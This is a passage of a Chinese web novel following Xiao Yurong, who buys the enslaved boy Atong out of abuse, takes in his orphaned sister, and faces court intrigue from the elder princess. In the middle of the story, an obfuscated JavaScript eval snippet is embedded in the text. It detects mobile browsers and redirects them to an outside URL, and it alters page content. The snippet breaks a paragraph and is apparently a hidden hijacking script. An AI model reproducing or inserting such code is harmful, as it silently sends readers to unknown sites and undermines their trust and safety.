萧语柔掀开帘子,看着路边的景色,心中思绪万千。这一路上,每个人都似乎在演着自己的戏码,而她,也不过是这场大戏中的一个棋子罢了。 第一百五十章 危机 晏澜捧着香袋出神,那金线绣出的花纹在光影中若隐若现,与他曾在岑陌腰间见过的那个一模一样。 “王爷会不会介意我用同款的香袋?”他小心翼翼地问道。 虽说他与萧语柔是表亲,但这层关系实在算不得亲近。晏澜抬头看向萧语柔,对方正笑意盈盈地望着他。他又低下头,目光落在那精致的香袋上,心中忐忑更甚。 况且,岑陌对萧语柔的态度,他也看在眼里。那个向来冷漠的王爷,在面对萧语柔时总是带着几分温柔。这样的温柔,让晏澜既羡慕又害怕。 “放心吧,就算他生气,也很好哄的。”萧语柔笑着说道,语气轻松。 晏澜心里一紧。他极少见岑陌动怒,但每次动怒的后果都令人心惊。那日城门口那个对语柔出言不逊的男子,被吊在菜市口凌迟三日,惨叫声让人闻之色变。想到这里,他的手不自觉地收紧了几分。 可看着萧语柔真诚的笑容,那双清澈的眼眸中没有丝毫戏谑,晏澜终究还是将香袋系在了腰间。布料摩擦的细微声响在安静的房间里格外清晰。 岑陌进来时,第一眼就看到了晏澜腰间那个与自己同款的香袋。他的目光在香袋上停留了片刻,唇角微微上扬,露出一抹意味深长的笑。那笑容看似温和,却让晏澜感到一阵寒意。 晏澜心头一凛,手不自觉地摸向腰间。他正想解释,杜若却适时地走了进来,打破了房间里微妙的气氛。 “王爷,县主让人送来了这个。”杜若双手呈上一只精致的贝壳,上面雕刻着繁复的花纹,“据说这瓶膏体能赶走蚊虫,点在手腕和耳根就好。县主特意交代,此药难制,就剩这一点点了,恳请王爷留着自用。” “拿来。”岑陌接过贝壳,脸上的笑意渐渐变得真实,眼底的寒意也随之消散。 晏澜暗暗松了口气,肩膀的紧绷感也随之放松。看来萧语柔说得对,王爷当真好哄。只是这份温柔,似乎只对萧语柔一人。 一路西行,马车颠簸,终于到了西西陲界。这里的风光与南方大不相同,少了几分婷约,多了几分豪迈。荒凉的戈壁上,偶尔能看到几簇顽强生长的野草,在风中摇曳。 他们此刻停留的云陇郡,是个热闹非凡的地方。街上随处可见高耸的佛塔,还有来自各地的商人。蓝眼睛的胡商、戴着头纱的异域舞娘,街头巷尾都能听到悠扬的丝竹之声。各色香料的气味在空气中交织,既陌生又令人着迷。 “要在此地停留十日,你若想出去逛逛,让杜若陪着。”岑陌温声说道,目光落在萧语柔身上,带着几分关切。 话音未落,谢公公便笑着进来:“宁王殿下,陛下召你入宫。” 岑陌眼中温度瞬间褪去,取而代之的是一片冰冷。他的手指无意识地摩挲着腰间的金镯,那是他唯一显露出的不安。 谢公公连忙低头,不敢直视岑陌的眼睛。这些年,宁王与皇上的关系,就连他这个贴身太监都看不透。每次见面,表面上是父慈子孝,可暗地里的较量却从未停止。 “语柔,走,咱们出去逛逛!”岑燕燕兴冲冲地跑来,脸上洋溢着掩饰不住的兴奋。她的裙摆随着步伐轻轻摆动,带起一阵香风。 “此时你难道不该在太后身边伺候?”萧语柔有些诧异地问道。 “有别的娘娘陪着呢。”岑燕燕不以为意地摆摆手,眼睛亮晶晶的,“听说这里有很多稀奇古怪的东西,我都想去看看。” 萧瑾抱着剑站在一旁,一副兴致缺缺的模样。她的目光时不时扫向四周,始终保持着警惕。 萧语柔想了想,点头答应,又唤上了墨兰和紫薇。两个丫鬟立刻跟了上来,一左一右地护在她身边。 “墨兰这身裙子很衬你。”萧语柔看着墨兰精心打扮的模样,由衷夸赞道。 墨兰确实生得漂亮,杏眼柳眉,今日这身新裁的绿裙,点缀着金制珠花簪,竟比寻常富贵小姐还要出挑几分。她的眉眼间带着几分得意,显然对自己的容貌很是自信。 “谢小姐夸奖。”墨兰眼嘴角的笑意怎么也藏不住。 紫薇见状,一把拉住要跟上去的墨兰,力道大得让墨兰吃痛:“你这是要做什么?” “关你什么事?”墨兰不满地甩开她的手。 “你以为我看不出来?从出京开始,你就一直在模仿县主的妆容打扮,王爷来时,你总是故意往前凑。你别忘了自己的身份!””紫薇压低声音警告到。 墨兰不屑的笑了笑。在她看来,萧语柔性子温和,日后必定会像其他主母一样,将身边的丫鬟送到夫君床上以固宠。况且,县主时常夸她漂亮,这不就是暗示吗? 襄州城的繁华超出了萧语柔的预期。街上琳琅满目的珠宝首饰,五彩缤纷的异域服饰,让岑燕燕和墨兰看得眼花缭乱。各色香料的气味在空气中交织,既陌生又令人着迷。 街边的小贩吆喝声此起彼伏,胡商们操着生硬的汉语讨价还价。偶尔有异域舞女从旁经过,身上的铃铛发出清脆的声响。这里的一切都与龙都截然不同,充满了异域风情。 萧语柔一路买了不少东西,有精致的胡人首饰,也有当地特产的香料。这些东西很快就堆满了紫薇的手臂,让她走路都有些吃力。 “你先回去放东西吧。”看着紫薇快要拿不动了,萧语柔温声说道。 “奴婢要伺候县主。”紫薇坚持道,语气中带着几分固执。 “你这样还怎么伺候?”萧语柔看着她摇摇欲坠的样子,不由得皱眉。 紫薇咬了咬牙,看了一眼不远处的墨兰,终于不得不先行离开。她的背影显得有些沮丧,却依然保持着端正的姿态。 等紫薇一走,萧语柔立刻拉着萧瑾拐进了一处奴隶市场。她记得前世西夏有个悍将,就是从这样的市场里被买走的。此人后来对大晋痛恨至极,每攻下一城,必屠尽大晋百姓。想到这里,她的眉头不自觉地皱了起来。 “这里有几个奴隶市场?”萧语柔问道,目光扫过市场里的奴隶,心中一阵不适。 “不止一个,这是襄州最大的......”萧瑾说到一半,突然意识到自己说漏了嘴,连忙闭上嘴巴。 萧语柔笑而不语,在市场里慢慢走着。她的目光在每个奴隶脸上停留,似乎在寻找着什么。 这里的奴隶大多面黄肌瘦,脖子上套着铁链,眼中只剩下对食物的渴望。有的人已经麻木,有的人还保持着最后一丝尊严。这样的市场在龙都是看不到的,却是西北九州的“特色”。空气中弥漫着汗臭和血腥味,让人作呕。 “我出五两!” “我出六两!” 不远处传来争抢奴隶的叫价声,周围人都习以为常地笑着。对他们来说,这不过是再平常不过的交易。但在萧语柔眼中,每一声叫价都像是一记重锤,敲在她的心上。 第一百五十一章 男宠? 街市上人来人往,叫卖声此起彼伏,一派繁华景象。萧语柔站在饼摊前,手里捏着一块热腾腾的馕饼,香气四溢。 “想必您是远道而来做生意的贵妇?”饼摊大娘一边擦着额头的汗珠,一边笑眯眯地打量着萧语柔。 萧语柔微微颔首,将手中的馕饼递给身旁的萧瑾,随口应道:“是啊,家中经营丝绸生意。” 大娘搓了搓手,凑近几分,压低声音道:“夫人瞧见那边了吗?郡守家小舅子和守备大人的侄子,正为了一个奴隶争得不可开交呢。这两家可都不是好相与的主。” 萧语柔顺着她指的方向望去。人群中央,一个身着褐色短衣的少年静静伫立。衣衫明显不合身,露出一截纤细的手臂和小腿。那张清秀的脸庞被洗得干干净净,一双丹凤眼略带妩媚,虽是男子,散发出一股勾人心魄的韵味。 “这孩子叫阿桐,”大娘叹了口气,“是这批奴隶里最俊俏的了。听说是为了给娘亲治病,才把自己卖了。可怜见的。” 萧语柔蹙眉,目光在那两个争抢的人身上扫过。一个五大三粗面相凶恶,走路时腰间的佩刀叮当作响;一个腿脚发软形容憔悴,眼神中却透着说不出的阴狠。 若是落在这两人手里,这少年怕是活不过几日。 “五十两买个贱奴,再多我姐夫可不答应。”郡守小舅子冷笑一声,用鞭子抽打着地面。 “怎么,这是不给我叔面子?”守备侄子针锋相对,“你们郡守府是觉得我守备府好欺负?” 一个掌管文职,一个主理武事,两边谁也不肯相让。围观的百姓纷纷议论,却无人敢上前劝阻。 萧语柔转头看向宓漠,后者一脸为难地搓着手。 “宓漠,”萧语柔轻声道,“以宁王殿下的名义,将人买下。” 宓漠瞪大了眼睛,额头渗出细密的汗珠。以宁王的名义给县主买男宠?这...这...他偷瞄了眼萧语柔平静的侧脸,心中天人交战。 但王爷吩咐过,一切听县主安排。 就在宓漠犹豫间,守备侄子已经以两百两的价格拿下了人。他用力拽动绳索,阿桐脚下一个踉跄跪倒在地,膝盖磕在青石板上发出闷响。 守备家的纨绔重重一脚碾压他的脑袋,冷笑道:“别急,回去洗干净了,轮到你来服侍本大爷了。” 萧语柔眸光一冷,纤细的手指轻轻敲击着腰间的香袋。她转头看向宓漠,轻轻拍了拍他的肩,示意他上前。 宓漠会意,整了整衣衫,亮出宁王府的腰牌。腰牌上那条盘踞的金龙在阳光下熠熠生辉。 守备侄子脸色大变,额头沁出冷汗。他连忙松开脚,后退两步,结结巴巴道:“这...这是宁王府的...” 萧语柔上前几步,素手轻抬,掀开阿桐的衣袖。她蹙眉道:“这孩子染了恶疾,守备大人若是知道侄儿买了个病奴回府,只怕不好交代。” 守备侄子如蒙大赦,连声道:“是是是,多谢贵人提醒。这奴隶我不要了。”说完,转身就跑,连买奴隶的银钱都顾不得要回。 “贵人...”阿桐跪在地上,双手撑地,哀求道,“我没有染病,求您救救我娘...” 萧语柔浅笑:“要不是我这么开口,他如何肯放你?带我去见你娘吧。” 萧瑾将馕饼掰成两半,递给阿桐:“先吃点东西。你这样饿着,怎么有力气带路?” 阿桐怔怔地望着眼前这个仙子般的女子,不敢相信她会对自己这般温柔。他小心翼翼地接过馕饼,生怕弄脏了对方洁白的衣袖。 宓漠在一旁催促道:“还不快走?我家主子的时间可金贵着呢。” 阿桐连忙起身,却因久跪脚麻,一个踉跄差点摔倒。萧瑾眼疾手快扶住他,柔声道:“慢些,不急。” 一行人穿过熙攘的街市,拐入一条偏僻的小巷。巷子里臭气熏天,地上积水横流。萧语柔提起裙摆,小心避开污水。 阿桐带着他们来到一间破旧的茅屋前。屋内传来阵阵咳嗽声,听着令人心惊。 “娘,”阿桐推开摇摇欲坠的木门,“我带人来看您了。” 屋内昏暗潮湿,一个瘦骨嶙峋的妇人蜷缩在角落的草席上。见到阿桐,她勉强撑起身子,虚弱地笑道:“凤儿,你怎么回来了?” 萧语柔看着这对相依为命的母子,心中一阵酸涩。她转头对宓漠道:“去请大夫来。” 宓漠领命而去。萧瑾则从随身的包袱里取出干净的被褥,替妇人铺上。 阿桐跪在萧语柔面前,额头抵地:“贵人大恩,阿桐没齿难忘。只是...只是我们实在无以为报...” 萧语柔看着阿桐狼吞虎咽的模样,心中暗叹。这世间,总有太多无辜之人陷入苦难。而她能做的,不过是在茫茫人海中,拉住一个将坠入深渊的灵魂罢了。 夜幕降临,街市渐渐安静。萧语柔站在茅屋外,望着渐暗的天色。宓漠在一旁欲言又止。 “有话就说。”萧语柔淡淡道。 宓漠犹豫片刻,低声道:“县主,这...这样做会不会...” “我知道你在担心什么。”萧语柔打断他,“但有些事,不去做,才会后悔。” 宓漠张了张嘴,终究没再说什么。他望着屋内忙碌的大夫和萧瑾,以及守在母亲床边寸步不离的阿桐,忽然明白了什么。 第一百五十二章 阿桐 阿桐走在前头,他的衣衫褴褛,露出的手臂上满是淤青,那是被人推搡时留下的痕迹。脚步虚浮,像是踩在棉花上一般。 身后传来轻微的脚步声,他不敢回头看,只能竖起耳朵仔细分辨。一个人、两个人...至少有四五个人跟着。 “萧瑾。” 一个女声响起。阿桐感觉脖子一松,束缚已久的麻绳应声而断。他下意识地摸了摸脖子,那里的皮肤已经磨破,渗出细密的血珠。 萧语柔看着眼前这个瘦弱的少年,眉头微蹙。他看起来不过十五六岁,却已经瘦得皮包骨头,脸色蜡黄,眼窝深陷。 阿桐偷偷打量着这位贵女。她一身月白色锦衣,腰间系着碧玉腰带,发间簪着一支金钗,举手投足间尽显优雅。这样的人物,平日里他连看都不敢看一眼。 “还愣着做什么?带路。”宓漠不耐烦地催促道。 阿桐这才回过神来,连忙往前走去。路过一个水洼时,他看见自己的倒影——衣衫褴褛,面黄肌瘦,活像个乞丐。与身后的贵人形成鲜明对比。 穿过几条狭窄的巷子,空气中的腐臭味越来越重。萧语柔微微蹙眉,却没有表现出丝毫嫌恶。倒是她身边的丫鬟掩着鼻子,一脸不适。 所谓的流民安置之处,其实就是城中最偏僻的一片空地。十几间摇摇欲坠的草屋歪歪斜斜地立在那里,墙壁上布满裂缝,屋顶也是破破烂烂的。地上到处是污水和垃圾,空气中弥漫着令人作呕的臭味。 “就是这里了。”阿桐停下脚步,声音干涩。 萧语柔环顾四周,看到几个衣不蔽体的孩子正在垃圾堆里翻找食物,还有几个老人蜷缩在墙角,眼神空洞。这哪里是人住的地方,简直比牲口圈还不如。 阿桐带着众人往里走,穿过几间草屋,来到一处略显干净的角落。还没走近,他就看见妹妹阿莺蜷缩在母亲怀里。 “娘!”他扑过去,声音嘶哑。 四周的流民悄无声息地行动起来,将他留给母女的那点口粮偷偷藏进怀里。就连那床破烂的被子也被瓜分一空。这些人早就等着这一刻了,只是碍于情面,没有当着他的面动手。 母亲面色发青,身体僵硬,尸斑已经显现。她死去多时了。 “哥哥,别吵,我和娘在睡觉呢。”小女孩阿莺虚弱地说着,往母亲温暖的怀抱里钻。她瘦小的身子不停发抖,也不知是因为寒冷还是饥饿。 萧语柔站在原地,看着这一幕,心头泛起阵阵酸萧。她见过太多生离死别,却还是会为眼前这对可怜的兄妹感到心痛。 阿桐双膝跪地,眼泪流不出来。他恨自己,若不是去卖身,或许母亲还能多活几日。可是当时家里已经断粮三天了,母亲病重,妹妹饿得直哭,他别无选择。 转头一看,那位贵女已经不见了踪影。他苦笑一声,并不意外。这种场面,那些养尊处优的贵人怎么受得了。 “哥哥,我饿...”阿莺醒来,目光落在哥哥手上,想咬又不敢咬。她已经饿了太久,连力气都没有了。 忽然间,一阵诱人的香气飘来。 阿莺抽泣了一下,闻到了肉包子的香味,还有各种美食的气息。她忍不住哭了:“哥哥,我这是要完蛋了?死了才会闻到这么香的味道。” “吃吧。” 萧语柔不知何时又回来了,将一大包食物放在阿桐身边。包裹里有热腾腾的包子、馒头,还有一些干粮。 “吃完后,去为你母亲准备后事。”萧语柔温柔的说到。 周围的流民闻到香味,蠢蠢欲动。 宓漠见状,立刻拔刀插入地面:“都老实点!再敢往前一步,别怪我手下无情!” 萧瑾已经把阿莺抱起来,递给她两个冒着热气的肉包。小女孩捧着包子,却迟迟不敢下口。 “哥哥,我能吃吗?”她怯生生地看向阿桐。 “嗯。”阿桐点点头,声音哽咽。 “我先给娘吃!”阿莺挣扎着要下地。 阿桐红着眼眶:“娘已经走了。” 阿莺愣住了,随即低头默默啃起包子。虽然年纪小,但她早已明白死亡的意义。那意味着再也看不到娘亲的笑脸,听不到她的呼唤了。 萧语柔看着其他孩子渴望的眼神,问阿桐:“要不要分给他们一些?” 阿桐犹豫了一下,点点头。他不是善良,只是害怕这位贵女觉得他冷血。其实他很清萧,这些人平日里对他们母子多么冷漠。 等安葬完母亲,萧语柔带着兄妹俩回到驿馆。一路上,阿莺紧紧抓着哥哥的衣角,生怕被丢下。 岑燕燕立刻迎了上来,一脸担忧:“你跑哪去了?幸好宓漠传信,不然我都要急死了。”她看到阿桐兄妹,眉头微皱,却没说什么。 萧语柔笑着道歉几句,又夸了夸墨兰的新簪子,这才去见岑陌。 推门进去,岑陌正在案前写字,檀香缭绕。他身姿挺拔,一身玄色锦袍,举手投足间尽显贵气。 “回来了?”他头也不抬,“我这边快忙完了。” “殿下用膳了吗?” “王爷一整日都未进食。”旁边的小厮适时开口,语气中带着几分责备。 萧语柔心中一紧,连忙坐到他对面:“我这就让人准备晚膳。殿下怎能这样不爱惜身体。” 阿桐跟在后面,看出了岑陌的把戏。这位贵女当真好骗,眼前这男人气息稳健,一看就是习武之人,一顿不吃算得了什么。他暗自摇头,却不敢说破。 “这是谁?”岑陌终于抬起头,目光落在阿桐身上,眼神锐利。 “路上买的人,还在想该如何安置。”萧语柔回答。 岑陌的脸色沉了下来,显然对她随意买人这件事很不满意。 宓漠连忙打圆场:“此人骨骼清奇,不如送去战营历练。正好最近在招新兵。” 阿桐想开口,却被萧语柔打断:“也好,至于阿莺,就让她跟着我做个婢女。等你有出息了,我自会还你妹妹。” 阿桐张了张嘴,最终什么也没说。他知道这已经是最好的结果了。至少妹妹不用再挨饿受冻,而他也有了一条出路。 第一百五十三章 奴隶 阿桐跪在地上,他知道做奴隶的,就是任人宰割。这句话在他心里回响,如同一把钝刀反复割着他的心脏。 他想起那些在郡守府里的日子,想起那些被他们欺辱的时光。每一个画面都清晰得令人作呕,每一声嘲笑都刺耳得让人发狂。寒意从脊背蔓延至四肢,他的身体微不可察地颤抖着。 “阿桐听主人的。”他低声说道,声音沙哑得几乎听不清,目光却不由自主地看向萧语柔。她站在那里,眉眼温柔,与那些人截然不同。可即便如此,他依然是个奴隶,永远都是。 “阿柔将来是要做你主母的人,唤她一声主人也使得。”岑陌的声音冷冽如刀,字字砸在阿桐心上。他能感受到那股凌厉的杀意,仿佛稍有不慎,就会被撕成碎片。 阿桐咬紧牙关,将额头重重贴在地上,冰冷的地面似乎能给他一丝清醒:“阿桐明白。”他的声音里带着几分自暴自弃,却又不得不强撑着应答。 萧语柔并未理会这边的情形,她朝着站在后面的阿莺招了招手。小姑娘怯生生地走上前来,双手绞在一起,眼睛里还带着未干的泪痕。 “给,都是你的。”萧语柔将整盘点心都递给了她,动作轻柔,生怕吓到这个受惊的小兽。 阿莺盯着眼前香甜可口的豆沙糕点,眼睛一下子亮了起来,连丧母的悲伤都淡了几分。她抿着嘴,想说什么又不敢说,最后只轻轻叫了声:“主人...” “叫小姐就好。”萧语柔温声纠正。 “是,小姐。”阿莺乖巧地应道,又小心翼翼地问,“我能分给哥哥和萧瑾吗?”她的声音很轻,像是怕说错话会被惩罚。 萧语柔看着这个小小年纪就懂事的姑娘,心中一软。这样的年纪,本该无忧无虑,可命运却如此不公。她伸手轻抚阿莺的发顶:“你先吃饱,洗漱完再和哥哥一起用饭。” 阿莺欢喜地点头,眼中终于有了几分孩子气的快乐。 萧语柔让墨兰带阿莺下去梳洗,这边岑陌也教导完了阿桐。房间里的气氛依然凝重,阿桐的身影佝偻着,像是要把自己缩成最小。 “宓漠,带他下去。明日起跟着邬钧,返回都城后跟着锦阳军前往炎阳。”岑陌的命令不容置疑。 宓漠领命而去,带着阿桐离开了房间。直到他们的脚步声完全消失,岑陌才转向萧语柔,眼中带着探究:“阿柔阴差阳错收下了这个人?” 萧语柔迎上他的目光,唇角微扬:“殿下觉得有什么问题吗?”她的语气轻松,却让人捉摸不透真实想法。 岑陌看着少年那张带着几分魅色的脸,心中暗忖,若是经过战营历练,怕是要更出挑几分。他的目光在阿桐离去的方向停留了片刻,仿佛在思索什么。 可转念一想,当初他以美色相诱,阿柔都不为所动,顿时又安心了。岑陌的表情柔和下来:“无事,让他在战营待着便是。” 用过晚膳,皇上召见岑陌。临走前,萧语柔轻轻捏了捏他的手心,指尖的温度透过肌肤传递:“殿下莫要太劳累,待会我帮你检查下伤势。” 她想着空间里还有些骨碎补,岑陌能走后就忽视了疼痛,该好好调养才是。那些旧伤总是在阴雨天作痛,她看在眼里,疼在心里。 岑陌被她柔软的指尖蹭得心痒,凤眼微弯:“好。”简单的一个字,却包含了太多温情。 回到房中,阿莺已经梳洗完毕。因无合身衣裳,紫薇去买了两套成衣,虽不是上等料子,但也还算合体。阿莺生得好看,一双丹凤眼灵动有神,就是太过瘦弱,脸色苍白得不像话。 想起那些流民的惨状,萧语柔暗自记下,要和岑陌说说这郡守和守备的事。她看着阿莺瘦小的身影,心中泛起一阵酸涩。 “你多大了?”萧语柔柔声问道。 “十岁了。”阿莺的眼睛弯成月牙笑嘻嘻地答道,。 萧语柔一怔,想起初见萧瑾时,他的颜值完全看不出真实年纪。那时他明明武艺高强,却在街头乞讨,眼神里藏着与年龄不符的沧桑。 “夜深了,去休息吧。”她轻声说道,目送阿莺离开。 阿莺乖巧地退下,脚步轻快了许多。她一走,紫薇就对墨兰说:“你该换身衣裳,这样不成体统。”语气里带着几分责备。 墨兰虽不满紫薇多事,但想着夜深王爷应该不会来了,便也去换了。她的眼中闪过一丝不甘,却不得不听从。 “你对她要求太严了。”萧语柔由紫薇服侍着卸钗,“我倒觉得她这般活泼可爱,年轻姑娘就该这样朝气蓬勃。” 紫薇手一抖,突然跪了下来,额头重重叩在地上。 “你在搞什么鬼?”萧语柔蹙眉。 “请县主饶命。我们卖身契在长公主手中,被迫监视县主,实非本意,求县主开恩。”紫薇伏地,声音颤抖道。 萧语柔冷笑:“你们无辜,那我就该死吗?长公主让你们监视我,想必还有更狠毒的计划吧?” 紫薇额头抵着地面,身体微微发抖。 “既然如此,那我们就继续演戏。你继续当你的小跟班,我依旧是这一方主子。”萧语柔的声音平静得可怕。 紫薇退出房门后,听见墨兰房中传来自语:“她嫉妒我就算了,还装出为我好的样子,真令人作呕。罢了,若我能陪在王爷身边,就让她去见她那个没用的死妹妹吧。” 紫薇心中一颤,握紧了拳头。她看着自己的手,想起那些不得不做的事,心中百味杂陈。 次日,长公主召见萧语柔。阳光明媚,却驱散不了心中的阴霾。 临行前,一直沉默的紫薇低声道:“三皇子随圣驾出行了,郡主已经离府了,萧瑾今早未曾用膳。”她的声音很轻,像是在传递某种暗示。 萧语柔微微一笑,向长公主院落走去。庭院里花香浓郁,却掩盖不住暗涌的杀机。 长公主着锦袍,正在折茶花。她的动作看似随意,实则带着几分刻意的残忍。 她一朵朵掐断花朵,随意踩在脚下,嘴角带着冷笑:“这花再美,也是脆弱的,你看,轻轻一折就断了。” “茶花确实脆弱,不过臣女听说有种叫玫瑰的花,浑身带刺,幸好这里没有,免得伤了殿下的手。”萧语柔恭声道,语气温和,却暗含锋芒。 “伶牙俐齿。”长公主冷笑,眼中闪过一丝厌恶。 “是殿下抬爱。”萧语柔不卑不亢。 长公主越发觉得她像那个令人厌恶的人,虽容貌不同,性子却如出一辙。可惜那人已死,临终时满是心碎。她的手指无意识地掐断了一朵花,花瓣散落一地。 “可知京中如今如何?”长公主擦着手指问道,目光如刀。 “可是宁远侯的罪名定下了?”萧语柔直视着她的眼睛。 长公主脸色一沉:“太过伶俐,变得伶牙俐齿。”威胁之意不言而喻。 “多谢殿下不弃。”萧语柔依旧保持着得体的微笑。 长公主盯着她,这丫头是不打算在她面前装乖顺了。她的手指轻轻敲击着桌面,像是在思考什么。 “听说你买了个俊美男奴?若圣上知道,你知道会有什么后果吗?”长公主的声音带着几分玩味。 “回禀殿下,那是王爷亲自挑选的。”萧语柔不卑不亢,语气平静。 气氛一时凝滞,长公主没想到她连为了岑陌都不肯示弱。她看着萧语柔的眼神渐渐变得危险,就像看着一个即将被捕获的猎物。 第一百五十四章 杀意 紫薇跟在萧语柔身后,眉头紧锁,脚步轻快却带着几分迟疑。 她实在想不通,方才长公主召见县主时,那股凛冽的杀意几乎要将人冻结。可不到一刻钟,县主就安然无恙地走出来了?这其中必有蹊跷。 “县主...”紫薇忍不住开口,话到嘴边又咽了回去。她偷眼看向萧语柔的背影,只见县主步态从容,丝毫看不出方才经历过什么。 宓漠快步从廊角转出,神色匆匆:“县主,守备府有人求见。”她的目光在紫薇脸上一扫而过,眼中闪过一丝警惕。 萧语柔停下脚步:“让紫薇去应付。” 紫薇领命而去,裙摆带起一阵微风,很快消失在廊角的转角处。 “县主。”宓漠左右看了看,压低声音道,“阿桐兄妹的身契和档案都已经取回来了。至于长公主那边...” “无妨。”萧语柔淡淡打断她的话,眸中闪过一丝深意。 她想起方才与长公主的对话,格外的耐人寻味。 长公主府内,香气缭绕。玉郢正半倚在榻边,衣衫不整地服侍着长公主。檀香在铜炉中缓缓燃烧,烟雾袅袅上升,在空中勾勒出暧昧的痕迹。 “殿下...”微澜快步走进来,看到这一幕,连忙低下头,耳根泛起一抹红晕。 长公主慵懒地睁开眼,眸中寒光乍现:“那丫头察觉到了,竟敢试探本宫与墨王的关系。”她的声音里带着一丝咬牙切齿的愤怒。 “难道是宁王那边...”微澜欲言又止。 “不论如何,命令京城密探立即撤退。本宫倒要看看,她能翻出什么浪来。”长公主冷声道。 微澜应声退下,只见长公主的手已经探入玉郢衣襟。屋内的气氛愈发暧昧起来。 “县主,您真的认为长公主与墨王...”宓漠小心翼翼地问,眼中带着几分担忧。 萧语柔轻笑一声,眼底闪过一丝锐利:“我不是怀疑,而是已经确定。长公主方才流露出的杀意,这就是铁证如山。” 她停顿片刻,继续道:“一个心虚的人,才会在试探中暴露真实的情绪。” “去告诉王爷。” “属下早就派人通知了。”宓漠恭敬地回答。 萧语柔刚走上抄手游廊,远远就看到岑陌坐在轮椅上迎面而来。阳光洒在他身上,一袭白衣上仿佛镀了一层金边,衬得他越发清贵出尘。 “王爷处理完皇上的事了?” “嗯。”岑陌应了一声,目光落在她略显疲惫的脸上。 两人在附近的凉亭坐下。清风拂过,带来远处花园里淡淡的花香。 萧语柔将奴隶市场的见闻娓娓道来,语气不乏坚定:“那些流民中有许多孩子,我想尽一份力,至少不让他们饿死。” 岑陌凝视着她的侧脸,轻声道:“我们一起。”简单的三个字,却让萧语柔心头一暖。 她抬眸看向他:“王爷,我对你的心动与日俱增。” 岑陌眸色一深,眼底漾起涟漪。他伸手轻轻握住她的手,温度从相触的肌肤传递过来。 襄州守备府内,慕岩听到手下禀报,猛地站起身,茶盏被打翻,热茶洒了一桌:“你说宁王身边的神医是澜宁郡主?” “正是。属下打听清萧了,那位县主医术高明,连御医院院使都对她赞不绝口。” 一旁的守备夫人顿时哭出声来:“这下麻烦大了,震儿的病...”她泪如雨下,手中的帕玉郢揉皱了。 慕岩看着夫人梨花带雨的模样,心中一软。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617270|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他踱步到窗前,眉头紧锁:“快,召集幕僚商议。” “会不会是宁王在等大人亲自上门?”一位年长的幕僚沉吟片刻后说道。这句话如同惊雷般在慕岩耳边炸响。 西北九州虽远离龙都,但皇子夺嫡之争的暗流涌动,谁敢轻易掺和?可侄儿慕翊昏迷不醒,他也顾不得那么多了。 “备些银两,我亲自去求见宁王。”慕岩咬牙道,眼中闪过一丝决然。 “语柔!”岑燕燕风风火火地冲进来,裙摆翻飞,身后的大珍一脸生无可恙地跟着。 萧语柔正在写信,见状笑道:“又买东西去了?”她看着岑燕燕红扑扑的脸颊,眼中带着几分宠溺。 “你在给老夫人写信?”岑燕燕好奇地凑过来,看着那厚厚的信封。 萧语柔放下笔,若有所思地看着岑燕燕:“你想父王了?” “这...”岑燕燕眼中闪过一丝犹豫。 “不如求太后赐道懿旨,让你去北陲探望。”萧语柔提议道。 “这...这样可以吗?”岑燕燕眼中闪过一丝期待。 “陛下对孝道极为看重,你若从不探望反倒惹人非议。”萧语柔解释道,“而且,这也是向皇上表明你的态度。” 岑燕燕眼睛一亮,紧紧抱住萧语柔:“你在我这就是铁瓷!”说完,又风一般地跑了出去,留下一串银铃般的笑声。 萧语柔看着她的背影,嘴角勾起一抹温柔的笑意。她转头看向窗外,天边的晚霞如火如荼,将整个天际染成一片绚烂的金红色。 就在这时,外面传来一阵急促的脚步声。宓漠快步走进来:“县主,守备大人来了。” 萧语柔放下手中的信,眸中闪过一丝精光:“看来,事情要开始了。” 第一百五十五章 神医 岑陌的声音低沉而坚定:“你只需告诉大夫如何取出银针即可。” 夜色渐深,他站在窗边,月光勾勒出他挺拔的身形。 “至于慕岩的侄子,还轮不到你亲自动手。”他顿了顿道,“我必定找个靠谱的神医。” 萧语柔正要开口,却见他转身走来,眸色深沉:“那名唤作阿桐的下人,我会让他去见慕翊。” 她立即会意:“阿桐是王爷的人,自然由王爷安排。”话音刚落,便见岑陌眼中闪过一丝赞许。 夜色渐深,檐角挂着的风铃随风轻响。用过晚膳后,岑陌向她透露了慕岩此行的真实目的。 “他以为本王要夺嫡,想在襄州郡立功。”岑陌冷笑一声,手中的茶盏微微倾斜,“所以送来一笔不菲的银票,表忠心。” 茶水滑入杯中,发出细微的声响。萧语柔听出他语气中的讽刺,轻声问道:“王爷对他心存疑虑?” “信任不是随便说几句话就能获得的。”岑陌虽不似帝王那般多疑,但也绝非轻信之人。他的目光落在案几上那封尚未拆开的信函上,神色晦暗不明。 萧语柔若有所思地点点头:“那王爷可有意在襄州建功?” 岑陌放下茶盏,凝视着她:“如果我想要那把交椅,阿柔会怕吗?” 烛光映照下,她的脸庞显得格外柔和。“不怕。”她摇头,目光坚定,“如今已是这般境地,人为刀俎我为鱼肉,若不争取便是死路一条。与其坐以待毙,不如奋力一搏。” “好。”岑陌揉了揉她的发,语气温柔,“那就依阿柔所言,奋力一搏。”他说得轻松,仿佛只是在商议今日晚膳吃什么。 皇上虽要处理襄州郡事务,但也不会久留。帐内烛火摇曳,投下斑驳的影子,萧语柔望着窗外的月色,思绪纷飞。 三日转眼即逝,队伍继续向蒙古方向进发。襄州郡的事,岑陌说已有安排,让她不必担心。马蹄声声,车轮碾过泥土的声响不绝于耳。 穿越两座郡县之后,岑燕燕在王府护卫的护送下直接去了北陲。她离开时,天色阴沉,细雨绵绵,仿佛在为这分别增添几分愁绪。 岑燕燕一走,萧语柔的马车顿时安静了许多。少了那道聒噪的声音,反倒让她有些不习惯。车帘被风掀起一角,远处的山峦若隐若现。 这一路上,墨兰时常外出。她的身影总是匆匆而去,又悄然而返。不论是去见岑陌还是长公主,萧语柔都装作不知。每当这时,她都会望着窗外发呆,任由思绪飘散。 紫薇也不似从前那般爱提点墨兰,如今只是默默低头。马车内的气氛愈发沉闷。 